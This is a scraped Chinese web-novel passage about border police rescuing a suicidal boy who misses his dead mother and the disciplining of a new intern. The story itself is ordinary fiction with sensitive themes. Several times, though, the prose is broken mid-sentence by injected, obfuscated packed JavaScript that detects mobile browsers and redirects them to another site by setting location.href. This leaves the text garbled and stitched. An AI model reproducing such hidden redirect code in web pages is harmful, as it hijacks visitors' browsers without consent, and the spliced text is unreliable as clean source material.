l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164142|196622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 察小孩情绪有异,他到底经验少,怕小孩一气之下真的跳了,急忙向前几步道:“你想要什么跟我说,你先过来!” 眼见着警察就要抓到自己,口气又急,小孩干脆大喊一声扑向河里:“你们都给不了我——我想要我妈妈!!!” 紧接着扑通一声,小孩落入水中,赵寻越脑子一空,身体先跟着反应,扭头就跳入冰冷的河面。 “赵寻越!” 程辛苑急了,率先跑过去,消防员登时拿着对讲指挥:“救人救人救人!小孩跳水了!” 一时间河边大乱,消防员迅速下水,男孩的奶奶哭声震天。那小孩在水中一阵扑通,赵寻越奋力向他游去。程辛苑爬过护栏,站在河边,盯着河面,冲赵寻越叫“那边那边那边”,司迁业拽着他,还不忘叮嘱“小心、小心点”。 这句“小心”是说给所有人听的。那小男孩必须要救,但救他的赵寻越完全没穿下水措施,天黑雨大,他又是个新人,不知紧急处置能力和游泳能力如何,势必得小心。而就因为赵寻越不按规定办事且能力未知,程辛苑也一阵着急。司迁业拉着他的胳膊,不然他觉得程辛苑可能自己也要“跳河”,这句“小心”也是说给他的。 好在赵寻越年轻机灵,几下游到小孩身边。他抓住那男孩的时候,小孩好像瞬间泄了力气,也不扑腾、也不叫喊,趴在赵寻越肩膀上,一句话都不说。赵寻越背着小孩,用力游回岸边。 河岸边警察、消防员都在等他们,小男孩的奶奶被消防员单独护在离岸边远一点的地方。被河水泡过的赵寻越全身冰凉,他感觉到小男孩趴在他肩上也全身发抖。等岸边的人伸手拉他们上来,程辛苑第一个去抱那小孩:“来、来……你受伤没?你奶奶还等着你呢。” 程辛苑好说歹说要接过小孩上岸,那男孩死死搂着赵寻越的脖子,咬着嘴唇,不哭也不说话,还做了一个打掉程辛苑手的动作。 程辛苑没办法,只能跟消防员一起拉赵寻越。那人一手抱着孩子,不住地拍小孩的后背说:“没事、没事了……没事了……别怕、别怕……” 等两个人彻底上了岸,男孩的奶奶哭着过来,一边哭一边怨小孩:“你怎么回事啊……你是要逼死我们啊……我们怎么把你养成这样……” 她说着还上手打男孩,司迁业赶忙劝住:“您别这样,有话好好说……” 那小孩自始至终一句话都不说,就窝在赵寻越颈窝,肩膀瑟缩。赵寻越一手护着老奶奶挥下来的拳头,一手捂住男孩的头。程辛苑看他全身湿透,有点烦闷,有点生气,还有点心疼。最终说:“行了都别吵了,快点去医院!……消防兄弟也辛苦了,撤吧。” 5. 没有母亲的小孩1 临尘县是小地方,医疗设备没有大地方完备,大雨下了几天,所有的救护车都发出去救人,司迁业开着警车,把程辛苑、赵寻越、要自杀的男孩以及他奶奶送到了医院。 小男孩崔志没什么大碍,只是双手和膝盖擦破了皮,医生给他包扎的时候,他奶奶就站在旁边,一边小声哭一边埋怨。司迁业和赵寻越在病房里看着,程辛苑到屋外给崔志的爸爸打电话。 “对,人都没事,你放心。” 崔志爸爸在电话里一个劲道歉,但都没说要回来看儿子。程辛苑心疼小孩,多教育了两句。 “崔先生,孩子妈妈本来就不在,你得多关心关心他。” 电话那边静默了一阵,程辛苑继续说:“我知道你在外面上班赚钱,可孩子的成长和培养是不可逆的。他今天说想妈妈,肯定不是突然想,一定是长久累积的,今天爆发了而已。你要是不回来陪他,今天我们把他救了,要是下次再发生这种事,救不回来呢?” 程辛苑的语气接近严肃了,那边想了想,竟然拿出商业口吻应付着说“好、好”。这时司迁业推门出来,程辛苑再嘱咐了崔志父亲两句就挂了电话。 “小孩都包扎完了。” “唉,行……”程辛苑收起手机,“他爸根本不像管孩子的。他奶奶有说什么吗?小孩妈妈为什么自杀的?” “我查了下,又跟他奶奶聊了聊……”司迁业神色忧伤,“崔志妈妈是经过介绍嫁给崔家的,而且在娘家是老大,下面两个弟弟,家里对她照顾得不好。嫁来崔家后,头几年生不出孩子,崔家为了要孙子,就……” 司迁业欲言又止,程辛苑敏感地问:“就什么?” 司迁业微不可察地摇摇头:“那奶奶说得也比较隐晦,但我猜测,不排除婚内性|暴|力……后来生下崔志,产后没几年就自杀了。” 程辛苑沉默了,透过门缝往屋里看。临尘县是小地方,小地方有小地方的好处,也有小地方的恶处。恶处除了环境艰苦外,还有陈规陋习,比如重男轻女、看重传宗接代等等,崔志的妈妈大概是在这两点的双重夹击下,忍不住自杀的。城市里的人经历产后抑郁、家庭暴力,尚且有心理医生治疗、能诉诸法律渠道,临尘县这种穷乡僻壤里受到迫害的女人,求死大概是唯一的解脱了。 “你去……你叫他奶奶来,我跟她说两句吧。” “嗯。” 程辛苑心累地往病房里看,想着待会怎么劝人。司迁业进屋跟老太太说了几句,她快速擦擦眼泪跟着出了门。赵寻越看了他们一眼,又望向屋门,门外程辛苑刚好跟他四目相对。 程辛苑冲那个小男孩抬抬下巴,意思是让赵寻越照顾小孩,赵寻越垂下眼睛,彻底对程辛苑背过身。程辛苑心中“啧”了一下,有点不高兴,等司迁业和老奶奶出来,生气地关上屋门。 “老奶奶,别哭了。” 程辛苑低头看老太太,她眼角还是红的,司迁业给她递纸巾,老太太说:“真的谢谢你们了……太谢谢你们了,不然我……我都不知道怎么向儿子交代……” “这是我们应该做的。”程辛苑正色道,“孩子虽然救回来了,毕竟需要亲爸妈。他妈妈不在了,你们得多督促你们儿子,让他回家啊。钱什么时候都能挣,孩子可……” 老太太本来用纸巾擦着眼泪,听见警察说他儿子打断道:“我儿子在外面也不容易啊。” “我没说他容易,是说他要兼顾。就算他挣到再多的钱,最后孩子真没了,他那些钱给谁花?” “那还不是赖小志妈妈……呜呜呜,我的命好苦啊,我都这么大岁数了,又要照顾老伴又要拉扯小孩。小志妈妈要是在,我还能这么惨?……” 孙子救回来了,这老太太嘴里一套套地维护儿子,倒是把脏水泼到自杀的媳妇身上,程辛苑没忍住“啧”了一声,司迁业见势道:“老奶奶您先冷静一下。” “我没法冷静,我不难过吗我……谁知道得了这么个儿媳妇,一点责任都没尽,还要拖累我们……我们老两口这么大岁数了,我们图什么啊,还不是图儿孙平安……” 老太太越说越激动,司迁业劝道:“是是,您别哭了,别哭了……” “唉!” 程辛苑双手叉腰大叹一口气,主动退后半步,把最近的距离留给司迁业,靠在门框上盯着痛哭的老太太。 此时的病房里,只剩赵寻越和崔志两人。小男孩一直低着头,赵寻越思索着如何安慰他。谁知等老太太出去,倒是崔志先开的口:“你……” “嗯?” 崔志坐在病床上,包扎完的双手放在膝盖上。赵寻越站在他旁边,低着头看那小男孩,觉得他更显瘦小。 “你没受伤吗?”崔志小声问。 “我没有。” 赵寻越本身性格慢热,一时不知如何跟崔志交流。他干脆地回答完,小男孩垂下脑袋,一副怅然若失的样子,赵寻越又接了一句:“谢谢。” 过了半响,崔志才闷闷地说:“是我谢谢你……” 他情绪很低落,低落中仍透着一股镇静。任他奶奶哭得惊天动地,崔志一直保持着疏远甚至戒备的状态,他那种少年老成的气质里,有几分像赵寻越。他干脆坐到小男孩对面的病床上,看着他说:“下次不要这样了。” 他半弯着身子,尽量跟崔志保持平等的距离。可崔志始终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164143|196622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低着脑袋,赵寻越望着他圆鼓鼓的脑袋顶,他觉得这个时候可能需要摸摸小孩的脑袋,以示安慰。他正要抬手,崔志又道:“……我只是想妈妈。” 赵寻越的手停在半空,最终放下了,沉默片刻道:“妈妈回不来了,你还有爸爸。” “……可爸爸不回来。” 赵寻越挖空心思安慰道:“他在外面挣钱,是为了让你好好读书,为了让你有更好的生活。” “可是我不想读书。” “……为什么不想读书?那你想要什么?” “想要妈妈。” 赵寻越顿了一下,无话可说。这仿佛一个无限死循环,小孩想要妈妈,大概是一种追寻爱的本能,可他要的永远无法实现。人世是苦海,这里不见诸恶,只有众苦。 “你……” 赵寻越刚张口,门外传来崔志奶奶的喊声:“……我们二老的好他不念,就要妈妈、妈妈……想要妈妈为什么要寻死!死了就能见他妈妈了?他妈妈有什么好的……” 赵寻越一惊,看崔志额头上崩出青筋,小拳头放在膝盖上紧紧握着。他膝盖上也有伤口,只是伤口不深,只涂了药水,此刻伤口好像带着崔志的怨气,仿佛下一秒就要裂开。 赵寻越都想伸出一只手,覆盖上崔志的伤口,让他的怨气和怒气不要破口而出。但崔志突然一只手抬起,快速擦了一把眼睛。赵寻越知道他哭了,这小孩跟他的性格有几分像,倔强,强忍。 赵寻越忽然站起身,从崔志对面的站坐起来,换到小男孩身边坐下。他坐下时,崔志那边的的床也凹了一块,赵寻越没办法做出单手搂住他的亲昵动作,但也尽可能靠近他说: “我也,没有妈妈。” “嗯?” 崔志很惊讶地抬头看他,眼睛红红的,赵寻越轻轻点点头:“真的,我妈妈也在我小时候去世了。” 崔志很敏感,他望着这个没有自称“叔叔”的警察,确认他脸上并没有特别悲恸的表情,才敢问:“……为、为什么?” 赵寻越猜,崔志可能想问“你妈妈为什么自杀”,委婉一点才只问了“为什么”,赵寻越不想、也无法完整地讲述前因后果,只能简略地答:“我妈妈的爸爸和妈妈,先后去世了,她受不住,生了场大病,就走了。” 赵寻越的语气有一丝忧愁,他在回忆很久以前的事情,带着久远的寂寥和一点点茫然,仿佛在回忆中找寻曾经年少的自己,然后低了头看见崔志的眼神,过去的自己与眼前这个小男孩重合,赵寻越像鼓励崔志、也像鼓励自己似的说: “坚强点,不要哭。如果没有人帮你把生活变好,那就快快长大,自己去变好。” 6. 没有母亲的小孩2 这句话似乎戳进崔志心里,他又擦干眼角最后一滴要流出来的眼泪,声音带着哭后的发抖问:“……那你,是怎么变好的?” 赵寻越觉得这孩子很聪明,放松了神情,面上浮出点自豪说:“当警察啊,自己变好,还能帮助别人。” 他眼中有几分骄傲,拍拍崔志的胳膊,好像在说“你看,我今天不就救了你吗”,崔志似懂非懂地点点头道:“谢谢……” 崔志犹豫了一下,终于带点男孩没变声之前的稚嫩,叫了一句:“谢谢,警察哥哥。” 赵寻越心中想笑,这孩子还挺有眼力价,终究没叫他“叔叔”。他想到程辛苑自然而然地开口称自己为“警察叔叔”,觉得有点滑稽。 “嗯。” 赵寻越最后点点头,算是接下了这个称呼。其实也不是为那“哥哥”两个字,而是前面那两个字,“警察”。 谁还不是从小有个英雄梦呢?有些人为自己,而警察的使命就是为别人。 为天地立心,为生民立命,为万世开太平。① ============ 大概凌晨两点,司迁业等人开车把崔志和他奶奶送回家,回警队的路上,雨渐渐停了。赵寻越提议自己开一段路的车,替换司迁业,被程辛苑否决了。赵寻越依然坐副驾驶,默默记路,司迁业开车,程辛苑坐后排。 车开回警队大院,下车前程辛苑对赵寻越说:“今天你很辛苦,先休息。明早谈。” 赵寻越救了人,但擅自行动,肯定是要被训的,只是方才一直关心崔志的情况,时间晚大家又疲惫,没人提起来而已。 赵寻越解开安全带,看了眼程辛苑没说话,司迁业道:“被子都给你放宿舍了,你跟小卫一间。这几天下雨降温,要是一床被子不够你再跟我说。” 司迁业接人待物一向温和有礼,赵寻越本想跟他说“谢谢、辛苦”,又觉得语气不对。他一个新人,按规定今天做错事是要受罚的,好像没立场对领导和替他着急的人说“辛苦你们”。 “嗯。” 赵寻越最终还是放弃,“嗯”了声下车。他一走,车里程辛苑突然问:“我刚才听见他在医院说,他母亲去世了……” “啊?”司迁业惊讶回头,“他简历上不是写了母亲吗?” “对,我看到了。可他在医院说的是,他母亲在他小时候去世的。” “这,难道,他写的是?……” “简历上肯定不会造假,唯一的可能就是,简历上写的不是他生母。” “……这也是有可能。等下,那薛局说的照顾的意思是?” 司迁业看程辛苑,后者给了他一个肯定的眼神:“他一个院长的儿子,肯定不会无缘无故跑到临尘县来实习吧。再加上一个小十几岁的妹妹……” “他被现在的妈妈赶出来了?”司迁业拉了手刹,彻底熄火,“辛苑,你这么一推测,我快脑补出一场豪门纠纷了。” “哈哈,那有你的!” 两人从车里出来,踩在湿滑的路上往宿舍走。 “今晚不想了,我明天查查赵昶安吧。”程辛苑道。 “好,那,今天他擅自跳河,这个……”司迁业有些犹豫。 “肯定要罚,还得好好教育。不能因为咱们知道了他家的事,还有薛局的嘱咐,规矩就不要了。我之前就说,无论他是谁,在我这都一视同仁。” 他们停在各自的宿舍门口,司迁业看着老朋友道:“是,知道你最铁面无私了,程大队长。” “那必须。睡了,今天那老太太哭的我耳朵疼。” “好,晚安。” 程辛苑进了自己宿舍。边境中队的警员,按理是两人一间宿舍。程辛苑是队长,单独住一间,剩下的人数是单数,还多出一个人来,就让司迁业单独住了。不过司迁业的房间还是两张床,程辛苑的屋子是单人床,空间相对大一些。程辛苑的宿舍还比其他人的好,因为他有单独的卫浴,其他人都得去公共浴室洗澡。 这晚程辛苑匆匆洗了澡,躺到床上已经凌晨三点了,崔志奶奶的哭声真的很魔性,程辛苑躺在床上死活睡不着,耳朵里都是老太太的哭声。 其实在临尘县,单亲、丧子、或者孩子走失,大大小小的案子数不胜数。临尘地处边境,经济、物质条件都比大城市落后很多,身体和心理的保障措施都跟不上,发生的“惨剧”自然就多。像崔志这种最后还被救下来的小孩,已经算好的。临尘县的河道里,经常会打捞上小孩子的尸体,这些孩子要么是父母不在身边,老人没看护好,失足落水的,要么就是被人贩子拐卖出境,买卖了器官或者做毒品实验,最后死了扔河里的。 程辛苑在临尘县的这些年,处理这类案子不在少数,所以今晚崔志的情况并没有让他太过震惊,只是他想到,在医院里赵寻越说的那句“我也没有妈妈”,心上不免挂记。当初他以为这小子背景强大、目中无人,谁料警察学院院长的儿子、被领导点名要照顾的警校生,竟然是个“有故事的男同学”。 这晚不但程辛苑没睡好,赵寻越同样睡不着。他回屋后,室友卫琛平已进入梦乡,赵寻越没拉开灯,打着手机手电筒,借着光亮在行李箱里翻睡衣和洗漱用品。翻了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164144|196622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会儿身后卫琛平忽然说:“……嗯?你回来了?” 赵寻越手上停了动作。 在来临尘县的路上,他和卫琛平已经自我介绍过。两人第一次见是从左城一起出发,不知是不是错觉,赵寻越感觉卫琛有种阴郁的气息,这个人好的地方是跟自己一样话少,不好的地方是阴气太重。赵寻越是研究生,卫琛平是本科生,按理卫琛平应该叫赵寻越师哥,但他没有。卫琛平跟他说话从来不会带称呼,就像赵寻越来临尘县这一天,没叫过程辛苑“队长”一样。警校生骨子里都自带一种傲气,这份傲气与目中无人或者骄傲自大无关,只是在细枝末节的地方,一种暗戳戳的固执。 “吵到你了?我去洗个澡,马上回来睡。” “没事。”卫琛平带点睡梦中的迷迷糊糊问,“……这么晚回来,警情很严重吗?” “还行。” 赵寻越简单一答,没有想多说的意思,拿了脸盆和洗漱用品就出门了。公共浴室在他们宿舍对面,他站在宿舍屋檐下,看到对面浴室有灯光。他那时并不知道程辛苑的屋子有单独的卫生间,以为司迁业和程辛苑都在里面,脚下停了步子,没有再走。 赵寻越的家庭条件比较好,从来没去过公共浴室,虽然他并不是娇生惯养的小少爷,但跟一群大老爷们一起洗澡,尤其是第一天与所有人都不熟的情况下,他还是觉得别扭。他今天下水救人,身上潮湿难耐,可还是抿着嘴站在自己宿舍门口,等了一小会儿。 很快司迁业洗完了,临走时还关了浴室的灯。他走出来看到赵寻越站在外面,赶紧问:“嗯?你等什么呢?” “没事,我刚收拾完,要洗澡……”赵寻越面上有几分疏离,又有点尴尬地指着浴室问,“里面没人了?” “没了。进门左手边是灯,你快去洗吧。早点休息哈!” 司迁业安慰地一笑,赵寻越这才放了心,点点头走向浴室。他打开灯的时候大致观察了一遍浴室布局,外间是公共水池,里面是更衣室,放了一排小柜子,最里面是浴室。赵寻越只开了更衣室的灯,脱了衣服走进浴室,在半明半暗的光线中开始洗澡。 赵寻越最喜欢的颜色是黑色,因为黑色可以裹挟一切情绪,覆盖掉快乐和悲伤,把人冲向混沌。 水冲在身上,赵寻越在暗影中想起自己冲进河里,第一波水流的挤压,想起崔志身上的伤,想起小男孩奶奶的哭嚎。他一边洗澡一边回忆,甚至复盘了今天的每一个细节,最后停在自己说的那句“我也没有妈妈”。 他关了水,站在空无一人的浴室里,脸上布满了水,好像流下的眼泪。 7. 从今天起,我带你1 第二天上午,雨彻底停了,但天还是阴的。赵寻越被叫到程辛苑办公室。他站在门边,不走进去也不说话,程辛苑坐在办公桌后面,微微皱着眉头,指着对面的椅子道:“过来,坐。” 赵寻越依然没跟他问好,或者叫他队长。程辛苑记住了这件事,不准备主动提出,看这小子能憋到什么时候。 “怎么样,昨晚休息的好吗?” 赵寻越明白程辛苑大早上起来叫他来,是要训话的,如果他答“休息得好”,显得自己毫无反省,如果他答“休息得不好”,又怕对方问东问西。他盯着程辛苑,思考如何回答,结果那人不耐烦地催促道: “好还是不好?” 程辛苑不喜欢赵寻越过分深沉的眼神,在他看来,对方不过是个警校没毕业的小孩,就算赵寻越长得高、面目严肃,职场上的老前辈永远认为年轻人是小屁孩。小屁孩就是小屁孩。 “还行。” 赵寻越快速回答,听不到什么有效的信息,程辛苑甩出小脾气直接问:“那你知道昨天做错了吗?” “……嗯。” “错在哪了?” 程辛苑从椅子上站起来,绕过桌边,一屁股坐到桌上,半条腿耷拉在赵寻越身前。赵寻越坐在椅子上矮他半截,而程辛苑居高临下地看着他,仿佛阻挡了他起身的可能。赵寻越第一感觉是,这个居下者的位置非常不舒服,他聚焦目光抬头看程辛苑,那人也盯着他: “说,我听着。” 四目相对,两人心中涌着暗流,至少程辛苑认为两个人在心中隐隐对抗。他想知道赵寻越为什么来临尘县,为什么年少丧母,甚至想知道赵寻越过分严肃、警敏的性格是怎么形成的。 可赵寻越没有一直与他对视,他偏了头,正视前方道:“我没听命令就着急去救崔志。” “还有吗?” “我擅自行动,导致崔志跳河。” “嗯,还有吗?” “我没穿装备,着急下水。” “还有吗?” 赵寻越又看向程辛苑。他自认思路清晰,把出错的地方都说了,虽然态度僵硬,但承认得全面,如果程辛苑再追问,他会认为这个队长在找茬。 于是赵寻越稍微挺高了胸膛道:“我认为我没有别的错了。” “哼。” 程辛苑冷笑,突然伸出一只手压住赵寻越的左肩:“你还有一个大错——你不服。” “我没有!” 赵寻越挺着前胸,明显感觉到程辛苑几个指头向下压迫的力量。他们看着彼此,听着彼此说话,实际上只想反驳对方,让对方叫自己爸爸。 不,那个时候赵寻越还没强硬到这种程度,日后他偶尔会有想拿下程辛苑的想法,不过他刚来临尘县时没有。他当时只觉这个比他大不了几岁的队长,看起来装模作样又以势压人。 而程辛苑一直都有。不管是最初瞧赵寻越不顺眼,还是日后隔着漫长的时空思念他,他对这小子的感觉一直敏感而复杂——从反感的抵触到强烈的热爱,中间就隔了一根细线的距离,往往近得惊人。 “嘿嘿,不过没关系……”程辛苑拿起压住赵寻越的手,露出一个有点得意的笑说,“我专治不服。” 他手拿开的时候,赵寻越想站起来,仰视一个男人总有自己被压制的感觉。程辛苑看出他的动势也立即从桌上下来,两人双双站起身。他们身高几乎一样,平视对方,程辛苑先说:“去写检讨,一千字,下午给我。出错的惩罚从你的实习工资里扣。” “我!” “有、意、见?” 程辛苑侧了头,调笑地看着他,末尾那个“见”字特意上调音调,说的是问句,语气倒像是恐吓。 赵寻越终是没敢反抗,闷声说:“……没有。” “好,那出去吧。” 程辛苑走回椅子前,赵寻越看着他气定神闲地坐下,憋着气出了屋。 他一出门就看到司迁业在楼道里候着,那人露出招牌的善意微笑道:“那个……辛苑没说你什么吧?” 赵寻越感觉不对,这副队长好像特意在等他似的。 “没什么,就让我写检讨。” “嗯嗯,你昨天呢,是冲动了一点,但是你刚来嘛,也是救人心切。下次注意,一定要听队长的命令。” “……” “我看你简历很优秀的,加油,好好干。” 司迁业鼓励似的拍拍他,赵寻越愈发感觉这个人和程辛苑,一个在唱白脸,一个唱黑脸。赵寻越点点头说“好”,这时走过来另一名警察,司迁业介绍道:“这是咱们队的曹冲……这是赵寻越,跟那个小卫一起来的。” 赵寻越认出来人是昨晚带卫琛平出警的警察,这人身高和样貌都很亮眼,赵寻越一看就觉得对方有种招人喜欢的气质,伸出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164145|196622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只手说:“您好,我是赵寻越。” “你好啊,欢迎来临尘县边境中队,整个左城最穷的警察都在这。” 曹冲打趣地跟他打招呼,司迁业笑道:“说什么啊你,是最强的好不好。”他又对赵寻越说:“昨天你和小卫到的晚,还没时间让你们见见咱们中队的人,等待会找个时间,辛苑会把你们介绍给大家。你去忙吧。” “好。” 赵寻越离开他们,那两人往程辛苑办公室走,他听见司迁业小声道:“人家刚来你就说临尘县穷,不想让人家留下来是不是?咱们老招不到人,辛苑快愁死了。” “哈哈哈,辛苑要是……” 再往后他们就进了办公室,赵寻越听不清了,不过他发现司迁业和曹冲都不叫程辛苑“队长”,而是直呼其名。 司、曹两人进了办公室,程辛苑正在等他们。 “来来来,坐。笑什么呢你们,这么开心?” “没什么,刚才在门口遇到赵寻越。”司迁业道,“咱先说正事吧。” “好吧。” 那两人坐到程辛苑对面,他问曹冲:“你们昨晚的警情怎么样?” 昨晚的另一个警情是有人反映接到诈骗电话,曹冲带了一个同事还有卫琛平去的现场。 “小事情,记录了报警人的情况,已经在追查那个号码了。”曹冲回道。 “嗯,那个新人怎么样?” “昨晚下着大雨,主要想尽快处理完收队,让大家休息。就觉得那个卫琛平还挺听话的吧,我说什么他都听着。” 程辛苑拿起两份简历递给曹冲:“你看看,这是新来的两个人的信息。” 最上面一份是赵寻越的,曹冲快速扫了一眼就说:“哟,警校院长的儿子?” “嗯。” 程辛苑点头,曹冲又开始看第二份卫琛平的简历,看完抬头对程辛苑道:“你这是要分配带新人了?那怎么着,是让我选还是你分派?” “哈哈哈。”程辛苑笑了,“冲哥你给我个走流程的机会好吗。” “哎哟,我这还不是唯程大队长命令是从吗,你要是按需分配,我肯定不会自己选啊。”曹冲道。 他们三人特别相熟,一般打趣的时候都不顾年龄大小,年纪大的管年纪小的叫哥,年纪小的称呼年纪大的“程大队长”。三人默契地相互望了望,程辛苑问:“如果让你挑,你想带谁?” 8. 从今天起,我带你2 曹冲把两份简历放回桌上说:“我选小卫。” “为什么?” “你让我挑,那我就选难度系数低的了。你知道我说话没把门,赵寻越他爸又是高官,我不想在临尘县执法办案的时候,还处处小心说话了,太累。” 曹冲从警校毕业后也算有大好前程,但祸从口出被发配到临尘县,后来他渐渐发现临尘的好处。这里天高皇帝远,他只要堂堂正正做好警察本职工作就行,机关单位里的那套虚与委蛇他最不会,临尘县也不需要。 程辛苑对手下非常照顾且体现在对边境中队的每一个人身上,曹冲敢坦白想法,说明他把程辛苑当自己人,程辛苑不会为难自己人。 “行,那你带小卫。” “得令。” 曹冲开心地比了个OK的手势,司迁业道:“那小马那边,开始让他独立了?” 马全全是目前队内来得最晚的警员,之前一直是曹冲主带,赶上大事、难事,程辛苑会教教他。 “对,你跟小马说,以后他独立出警。这孩子不差,就是有点……怎么说,用现在的话讲,有点玻璃心?” “哎哟,老年人你还知道这个词?” 曹冲打趣他年龄大,程辛苑反讽道:“冲哥哥你静静,你这么躁动,很容易比我老得还快。” “哈哈哈,好的好的我闭嘴。闭嘴前我还要问一句,赵寻越你准备让谁带?” “这个嘛……” 程辛苑往椅背上一靠:“他爸都是警校领导了,那得找个什么样的人才能带得了他、镇得住他呢?” 程辛苑故作姿态,曹冲心下了然,眼珠转了一圈忽然说:“我有一个人选。” 程辛苑和司迁业都有些意外,异口同声问:“谁?” “我觉得程辛苑这名同志很可以试试,你们觉得如何?” “哈哈哈,我觉得可!” 三人正说笑,外面有人敲门,一个警员进来说警队门口有个老太太,带着一个叫崔志的小孩来找一位警察,但不知道警察的名字。程辛苑以为是来找自己的,忙说:“哦,是我们昨天的报警人,应该是来做笔录的。” 他对曹冲说:“冲哥您去忙吧,我们要干活了。” 程辛苑、司迁业同小警员一道出了门,老太太和小男孩就站在院子里,老太太拉着孙子的手,崔志固执地躲在奶奶身后,就露出一只眼睛来瞧着他们。 司迁业第一个上前问:“辛苦您了,来,咱们进来做个笔录。” 可崔志不进屋,站在原地,司迁业只能蹲下身温柔地问:“小志,怎么了?” “我想……找人。” “找谁啊?”他抬头看看程辛苑,“我和这个叔叔,就是昨天在现场的警察。” “还有一个,那个,跳水救我的人。” “赵寻越?”程辛苑有点惊讶,“你可以找他,但按规定是我和这位警察给你做笔录,做完你再去找他。” 程辛苑说完自顾往楼里走,司迁业跟崔志奶奶一起拉他,崔志甩开手道:“我不去,我要找救我的警察!” “又不听话!你又不听话是不是!” 他奶奶在一旁急了,抬手照着崔志脑袋捶了一下。程辛苑着急道:“哎哎哎,别打孩子!” 他急忙拉开老太太,崔志抱着头突然蹲到地上,两个胳膊死死环住脑袋。程辛苑看到这幕有些心疼,他推断这孩子在家没少挨揍,这个动作是本能的御敌反应。这孩子性格内向,心里叛逆,又不敢向外人发泄,昨天一定是痛苦难耐、承受不住才选择自杀,而昨晚赵寻越一番简单的开导,让崔志对一个陌生的外人暂时建立了信任。 这崔志奶奶被程辛苑拉着,嘴上依然痛骂孙子,也不知是嫌孩子在警察面前吵闹,还是嫌孩子不听她管教丢人,总之她一脸不依不饶、还想教训崔志的架势,当务之急是把这两人分开。 “这样,迁业你带崔志去找赵寻越,让他照顾一下,稳定孩子情绪。我带老奶奶先进楼,待会咱们先给老人家做笔录。” “好。” 程辛苑带着老太太进楼,一路都在安慰她,可老太太没完没了,又把不争取的孙子、自杀的儿媳妇抱怨了一通。程辛苑昨晚见识到她的脾气,这老太太除了维护儿子,其它任何事情都往别人身上推,程辛苑无奈又头疼。 后来司迁业回来,两人开始给老太太做笔录,等把前因后果说明白了,赵寻越带着崔志来了。 这会儿崔志的情绪平稳了很多,虽然还是那副强硬又与世界为敌的样子,但肯听程辛苑的命令了,让他坐好就安静地坐到奶奶身边。赵寻越站在旁边看着崔志,没有离开的意思,程辛苑干脆说:“你拿个椅子就坐这吧。” 崔志的眼神瞥向他,赵寻越点点头说:“好,我在这。” 随后程辛苑、司迁业开始做笔录,崔志说话很简短,基本是程辛苑问一句他答一句。笔录很快做完,签完字老太太带着崔志要走,赵寻越忽然问:“我能送一下他们吗?” 他这句话是对程辛苑说的,而崔志的眼神也看向程辛苑,男孩已经在一系列的问询过程中,悟出这群警察里谁最大、谁能做主。这两人都在等程辛苑的意见,他当然说:“可以啊。” 男孩放心地看了程辛苑一眼,赵寻越又对崔志说:“那你们先到门口,我去拿个东西。” 赵寻越独自走开,老太太和崔志走在前面,程辛苑和司迁业走在后面,两人对视了一眼,其实心里都挺好奇,赵寻越是怎么跟这个小孩交流的。 等到了大院门口,赵寻越跑出来,递了一张纸给程辛苑,然后和崔志还有他奶奶走出警队大门。司迁业看着纸好奇地问:“什么啊?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164146|196622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>程辛苑笑了:“检讨。” “哈哈,认错了。还行,我看他还行。” “怎么,写个检讨你就认可他了?”程辛苑抖抖那张纸,“司副队长,你这评判标准太低了吧。” “是啊,哪有你程大队长严苛待人呢。我觉得他没什么大毛病,就是不知道你怎么总对他有成见。” 司迁业自顾往回走,把程辛苑落在身后。 “哈?我哪有?”程辛苑跟上他,莫名问。 “要是没有,你就不会亲自带他了。你想教育教育他嘛,我还不了解你吗,老朋友?” “哈哈哈哈哈哈。” 